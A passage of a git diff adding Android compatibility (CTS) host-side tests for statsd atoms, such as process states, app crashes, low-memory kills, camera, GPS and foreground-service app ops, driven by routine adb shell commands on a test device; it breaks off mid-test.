+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
+    }
+
+    public void testTopSleeping() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
+
+        executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
+        // ASAP, turn off the screen to make proc state -> top_sleeping.
+        DeviceUtils.turnScreenOff(getDevice());
+        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data,
+                new HashSet<>(Arrays.asList(ProcessStateEnum.PROCESS_STATE_TOP_VALUE)),
+                PROC_STATE_FUNCTION); // clear out anything prior to it entering TOP.
+        AtomTestUtils.popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out TOP itself.
+        // reset screen back on
+        DeviceUtils.turnScreenOn(getDevice());
+        // Don't check the wait time, since it's up to the system how long top sleeping persists.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
+    }
+
+    public void testCached() throws Exception {
+        Set<Integer> onStates = CACHED_STATES;
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        // The schedule is as follows
+        // #1. The system may do anything it wants, such as moving the app into a cache state.
+        // #2. We move the app into the background.
+        // #3. The background process ends, so the app definitely moves to a cache state
+        //          (this is the ultimate goal of the test).
+        // #4. We start a foreground activity, moving the app out of cache.
+
+        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
+        DeviceUtils.executeBackgroundService(getDevice(), ACTION_END_IMMEDIATELY);
+        final int cacheTime = 2_000; // process should be in cached state for up to this long
+        Thread.sleep(cacheTime);
+        // Now forcibly bring the app out of cache (#4 above).
+        executeForegroundActivity(getDevice(), ACTION_SHOW_APPLICATION_OVERLAY);
+        // Now check the data *before* the app enters cache again (to avoid another cache event).
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        // First, clear out any incidental cached states of step #1, prior to step #2.
+        AtomTestUtils.popUntilFind(data, BG_STATES, PROC_STATE_FUNCTION);
+        // Now clear out the bg state from step #2 (since we are interested in the cache after it).
+        AtomTestUtils.popUntilFind(data, onStates, PROC_STATE_FUNCTION);
+        // The result is that data should start at step #3, definitively in a cached state.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 1_000, PROC_STATE_FUNCTION);
+    }
+
+    public void testValidityOfStates() throws Exception {
+        assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
+                .that(ALL_STATES).doesNotContain(
+                ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
+    }
+
+    /** Returns the a set containing elements of a that are not elements of b. */
+    private Set<Integer> difference(Set<Integer> a, Set<Integer> b) {
+        Set<Integer> result = new HashSet<Integer>(a);
+        result.removeAll(b);
+        return result;
+    }
+
+    /** Returns the set of all states that are not in set. */
+    private Set<Integer> complement(Set<Integer> set) {
+        return difference(ALL_STATES, set);
+    }
+
+    /**
+     * Runs an activity (in the foreground) to perform the given action.
+     *
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    private static void executeForegroundActivity(ITestDevice device, String actionValue)
+            throws Exception {
+        device.executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s",
+                DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
+                "action", actionValue));
+    }
+
+    /**
+     * Runs a simple foreground service.
+     */
+    private static void executeForegroundService(ITestDevice device) throws Exception {
+        executeForegroundActivity(device, ACTION_END_IMMEDIATELY);
+        device.executeShellCommand(String.format(
+                "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
new file mode 100644
index 0000000..f106b84
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -0,0 +1,915 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AppOpEnum;
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.os.WakeLockLevelEnum;
+import android.server.ErrorSource;
+
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.ANROccurred;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.AppCrashOccurred;
+import com.android.os.AtomsProto.AppUsageEventOccurred;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.AttributionNode;
+import com.android.os.AtomsProto.AudioStateChanged;
+import com.android.os.AtomsProto.CameraStateChanged;
+import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
+import com.android.os.AtomsProto.FlashlightStateChanged;
+import com.android.os.AtomsProto.ForegroundServiceAppOpSessionEnded;
+import com.android.os.AtomsProto.ForegroundServiceStateChanged;
+import com.android.os.AtomsProto.GpsScanStateChanged;
+import com.android.os.AtomsProto.LmkKillOccurred;
+import com.android.os.AtomsProto.MediaCodecStateChanged;
+import com.android.os.AtomsProto.NotificationReported;
+import com.android.os.AtomsProto.OverlayStateChanged;
+import com.android.os.AtomsProto.SettingSnapshot;
+import com.android.os.AtomsProto.SyncStateChanged;
+import com.android.os.AtomsProto.TestAtomReported;
+import com.android.os.AtomsProto.UiEventReported;
+import com.android.os.AtomsProto.VibratorStateChanged;
+import com.android.os.AtomsProto.WakelockStateChanged;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.server.notification.SmallHash;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.Pair;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
+
+/**
+ * Statsd atom tests that are done via app, for atoms that report a uid.
+ */
+public class UidAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.UidAtomTests";
+
+    private static final String TEST_PACKAGE_NAME = "com.android.server.cts.device.statsd";
+
+    private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+
+    private static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
+    private static final String FEATURE_CAMERA = "android.hardware.camera";
+    private static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
+    private static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    private static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Tests that statsd correctly maps isolated uids to host uids by verifying that atoms logged
+     * from an isolated process are seen as coming from their host process.
+     */
+    public void testIsolatedToHostUidMapping() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER, /*uidInAttributionChain=*/false);
+
+        // Create an isolated service from which an AppBreadcrumbReported atom is logged.
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests",
+                "testIsolatedProcessService");
+
+        // Verify correctness of data.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(1);
+        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
+        assertThat(atom.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(atom.getLabel()).isEqualTo(0);
+        assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
+    }
+
+    private boolean shouldTestLmkdStats() throws Exception {
+        boolean hasKernel = DeviceUtils.isKernelGreaterEqual(getDevice(), Pair.create(4, 19));
+        boolean hasFirstApiLevel = PropertyUtil.getFirstApiLevel(getDevice()) > 30;
+        return (hasKernel && hasFirstApiLevel)
+                || "true".equals(DeviceUtils.getProperty(getDevice(), "ro.lmk.log_stats"));
+    }
+
+    public void testLmkKillOccurred() throws Exception {
+        if (!shouldTestLmkdStats()) {
+            LogUtil.CLog.d("Skipping lmkd stats test.");
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.LMK_KILL_OCCURRED_FIELD_NUMBER,  /*uidInAttributionChain=*/false);
+        int appUid = DeviceUtils.getStatsdTestAppUid(getDevice());
+
+        // Start the victim process (service running in process :lmk_victim)
+        // We rely on a victim process (instead of expecting the allocating process to die)
+        // because it can be flaky and dependent on lmkd configuration
+        // (e.g. the OOM reaper can get to it first, depending on the allocation timings)
+        DeviceUtils.executeServiceAction(getDevice(), "LmkVictimBackgroundService",
+                "action.end_immediately");
+        // Start fg activity and allocate
+        try (AutoCloseable a = DeviceUtils.withActivity(
+                getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.lmk")) {
+            // Sorted list of events in order in which they occurred.
+            List<EventMetricData> data = null;
+            for (int i = 0; i < 60; ++i) {
+                Thread.sleep(1_000);
+                data = ReportUtils.getEventMetricDataList(getDevice());
+                if (!data.isEmpty()) {
+                  break;
+                }
+            }
+
+            assertThat(data).isNotEmpty();
+            // Even though both processes might have died, the non-fg one (victim)
+            // must have been first.
+            assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
+            LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
+            assertThat(atom.getUid()).isEqualTo(appUid);
+            assertThat(atom.getProcessName())
+                    .isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG + ":lmk_victim");
+            assertThat(atom.getOomAdjScore()).isAtLeast(500);
+            assertThat(atom.getRssInBytes() + atom.getSwapInBytes()).isGreaterThan(0);
+      }
+    }
+
+    public void testAppCrashOccurred() throws Exception {
+        final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.crash");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        assertThat(atom.getEventType()).isEqualTo("crash");
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        // TODO(b/172866626): add tests for incremental packages that crashed during loading
+        assertFalse(atom.getIsPackageLoading());
+    }
+
+    public void testAppCrashOccurredNative() throws Exception {
+        final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.native_crash");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        assertThat(atom.getEventType()).isEqualTo("native_crash");
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        // TODO(b/172866626): add tests for incremental packages that crashed during loading
+        assertFalse(atom.getIsPackageLoading());
+    }
+
+
+    public void testAudioState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUDIO_OUTPUT)) return;
+
+        final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testAudioState";
+
+        Set<Integer> onState = new HashSet<>(
+                Arrays.asList(AudioStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Arrays.asList(AudioStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Because the timestamp is truncated, we skip checking time differences between state
+        // changes.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
+                atom -> atom.getAudioStateChanged().getState().getNumber());
+
+        // Check that timestamp is truncated
+        for (EventMetricData metric : data) {
+            long elapsedTimestampNs = metric.getElapsedTimestampNanos();
+            AtomTestUtils.assertTimestampIsTruncated(elapsedTimestampNs);
+        }
+    }
+
+    public void testCameraState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_CAMERA) && !DeviceUtils.hasFeature(
+                getDevice(), FEATURE_CAMERA_FRONT)) {
+            return;
+        }
+
+        final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> cameraOn = new HashSet<>(Arrays.asList(CameraStateChanged.State.ON_VALUE));
+        Set<Integer> cameraOff = new HashSet<>(Arrays.asList(CameraStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(cameraOn, cameraOff);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testCameraState");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
+                atom -> atom.getCameraStateChanged().getState().getNumber());
+    }
+
+    public void testDeviceCalculatedPowerUse() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER);
+        DeviceUtils.unplugDevice(getDevice());
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        Atom atom = ReportUtils.getGaugeMetricAtoms(getDevice()).get(0);
+        assertThat(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs())
+                .isGreaterThan(0L);
+        DeviceUtils.resetBatteryStatus(getDevice());
+    }
+
+
+    public void testDeviceCalculatedPowerBlameUid() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY)) return;
+        if (!DeviceUtils.hasBattery(getDevice())) {
+            return;
+        }
+        String kernelVersion = getDevice().executeShellCommand("uname -r");
+        if (kernelVersion.contains("3.18")) {
+            LogUtil.CLog.d("Skipping calculated power blame uid test.");
+            return;
+        }
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.DEVICE_CALCULATED_POWER_BLAME_UID_FIELD_NUMBER);
+        DeviceUtils.unplugDevice(getDevice());
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> atomList = ReportUtils.getGaugeMetricAtoms(getDevice());
+        boolean uidFound = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        long uidPower = 0;
+        for (Atom atom : atomList) {
+            DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
+            if (item.getUid() == uid) {
+                assertWithMessage(String.format("Found multiple power values for uid %d", uid))
+                        .that(uidFound).isFalse();
+                uidFound = true;
+                uidPower = item.getPowerNanoAmpSecs();
+            }
+        }
+        assertWithMessage(String.format("No power value for uid %d", uid)).that(uidFound).isTrue();
+        assertWithMessage(String.format("Non-positive power value for uid %d", uid))
+                .that(uidPower).isGreaterThan(0L);
+        DeviceUtils.resetBatteryStatus(getDevice());
+    }
+
+    public void testFlashlightState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_CAMERA_FLASH)) return;
+
+        final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testFlashlight";
+
+        Set<Integer> flashlightOn = new HashSet<>(
+                Arrays.asList(FlashlightStateChanged.State.ON_VALUE));
+        Set<Integer> flashlightOff = new HashSet<>(
+                Arrays.asList(FlashlightStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(flashlightOn, flashlightOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getFlashlightStateChanged().getState().getNumber());
+    }
+
+    public void testForegroundServiceState() throws Exception {
+        final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testForegroundService";
+
+        Set<Integer> enterForeground = new HashSet<>(
+                Arrays.asList(ForegroundServiceStateChanged.State.ENTER_VALUE));
+        Set<Integer> exitForeground = new HashSet<>(
+                Arrays.asList(ForegroundServiceStateChanged.State.EXIT_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(enterForeground, exitForeground);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getForegroundServiceStateChanged().getState().getNumber());
+    }
+
+
+    public void testForegroundServiceAccessAppOp() throws Exception {
+        final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
+        final String name = "testForegroundServiceAccessAppOp";
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertWithMessage("Wrong atom size").that(data.size()).isEqualTo(3);
+        for (int i = 0; i < data.size(); i++) {
+            ForegroundServiceAppOpSessionEnded atom
+                    = data.get(i).getAtom().getForegroundServiceAppOpSessionEnded();
+            final int opName = atom.getAppOpName().getNumber();
+            final int acceptances = atom.getCountOpsAccepted();
+            final int rejections = atom.getCountOpsRejected();
+            final int count = acceptances + rejections;
+            int expectedCount = 0;
+            switch (opName) {
+                case AppOpEnum.APP_OP_CAMERA_VALUE:
+                    expectedCount = 3;
+                    break;
+                case AppOpEnum.APP_OP_FINE_LOCATION_VALUE:
+                    expectedCount = 1;
+                    break;
+                case AppOpEnum.APP_OP_RECORD_AUDIO_VALUE:
+                    expectedCount = 2;
+                    break;
+                case AppOpEnum.APP_OP_COARSE_LOCATION_VALUE:
+                    // fall-through
+                default:
+                    fail("Unexpected opName " + opName);
+            }
+            assertWithMessage("Wrong count for " + opName).that(count).isEqualTo(expectedCount);
+        }
+    }
+
+    public void testGpsScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LOCATION_GPS)) return;
+        // Whitelist this app against background location request throttling
+        String origWhitelist = getDevice().executeShellCommand(
+                "settings get global location_background_throttle_package_whitelist").trim();
+        getDevice().executeShellCommand(String.format(
+                "settings put global location_background_throttle_package_whitelist %s",
+                DeviceUtils.STATSD_ATOM_TEST_PKG));
+
+        try {
+            final int atom = Atom.GPS_SCAN_STATE_CHANGED_FIELD_NUMBER;
+            final int key = GpsScanStateChanged.STATE_FIELD_NUMBER;
+            final int stateOn = GpsScanStateChanged.State.ON_VALUE;
+            final int stateOff = GpsScanStateChanged.State.OFF_VALUE;
+            final int minTimeDiffMillis = 500;
+            final int maxTimeDiffMillis = 60_000;
+
+            ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(),
+                    DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    atom, /*useUidAttributionChain=*/true);
+
+            DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests",
+                    "testGpsScan");
+
+            List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+            assertThat(data).hasSize(2);
+            GpsScanStateChanged a0 = data.get(0).getAtom().getGpsScanStateChanged();
+            GpsScanStateChanged a1 = data.get(1).getAtom().getGpsScanStateChanged();
+            AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                    maxTimeDiffMillis);
+            assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+            assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+        } finally {
+            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
+                getDevice().executeShellCommand(
+                        "settings delete global location_background_throttle_package_whitelist");
+            } else {
+                getDevice().executeShellCommand(String.format(
+                        "settings put global location_background_throttle_package_whitelist %s",
+                        origWhitelist));
+            }
+        }
+    }
+
+    public void testMediaCodecActivity() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
+
+        // 5 seconds. Starting video tends to be much slower than most other
+        // tests on slow devices. This is unfortunate, because it leaves a
+        // really big slop in assertStatesOccurred.  It would be better if
+        // assertStatesOccurred had a tighter range on large timeouts.
+        final int waitTime = 5000;
+
+        // From {@link VideoPlayerActivity#DELAY_MILLIS}
+        final int videoDuration = 2000;
+
+        Set<Integer> onState = new HashSet<>(
+                Arrays.asList(MediaCodecStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Arrays.asList(MediaCodecStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "VideoPlayerActivity", "action", "action.play_video",
+                waitTime);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, videoDuration,
+                atom -> atom.getMediaCodecStateChanged().getState().getNumber());
+    }
+
+    public void testOverlayState() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> entered = new HashSet<>(
+                Arrays.asList(OverlayStateChanged.State.ENTERED_VALUE));
+        Set<Integer> exited = new HashSet<>(
+                Arrays.asList(OverlayStateChanged.State.EXITED_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(entered, exited);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
+                5_000);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        // The overlay box should appear about 2sec after the app start
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
+                atom -> atom.getOverlayStateChanged().getState().getNumber());
+    }
+
+    public void testPictureInPictureState() throws Exception {
+        String supported = getDevice().executeShellCommand("am supports-multiwindow");
